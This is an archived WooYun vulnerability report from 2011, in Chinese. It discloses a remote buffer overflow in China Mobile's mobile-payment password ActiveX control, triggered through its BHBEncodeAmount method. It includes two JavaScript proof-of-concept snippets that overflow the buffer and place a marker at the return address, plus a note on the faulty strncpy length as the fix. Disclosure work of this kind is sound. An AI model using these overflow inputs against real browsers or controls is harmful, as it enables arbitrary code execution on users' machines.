漏洞概要 关注数(0) 关注此漏洞
缺陷编号: WooYun-2011-01922
漏洞标题: 中国移动手机支付密码控件远程溢出漏洞
相关厂商: 中国移动
漏洞作者: pcasa
提交时间: 2011-04-17
公开时间: 2011-04-18
漏洞类型: 远程代码执行
危害等级: 高
自评Rank: 20
漏洞状态: 未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org
Tags标签: 浏览器控件漏洞 缓冲区溢出 heapspray 浏览器插件漏洞 activex漏洞 栈溢出 浏览器漏洞利用技巧
漏洞详情
披露状态:
2011-04-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-04-18: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
中国移动手机支付密码控件存在一个远程溢出漏洞,可以执行任意代码
详细说明:
支付密码控件cmpaySSClient.ocx接口存在溢出漏洞可以执行任意代码,测试代码如下:
<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >
</object>
var arg;
arg=Array(10240);
obj.BHBEncodeAmount(arg);
漏洞证明:
测试文件版本号: 1.0.1.3
在XPSP3和IE6中测试, 使用WinDbg进行调试
<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >
</object>
var arg;
arg="";
for (i=0; i<1024*2+8+4; i++) arg+="A";
arg += "PPPP";
for (i=0; i<1024*8; i++) arg+="C";
obj.BHBEncodeAmount(arg);
修复方案:
在使用_strncpy函数时长度参数取值,应该以目标缓冲区的作为字符个数参数,而代码中却以源字符串长度为字符个数参数
此为对函数用法理解不正确导致的,有多处使用strncpy函数的地方均存在安全隐患.
版权声明:转载请注明来源 pcasa@乌云
漏洞回应
厂商回应:
危害等级:暂时无回应
漏洞Rank:15
确认时间:2011-04-18
厂商回复:
最新状态:
暂无
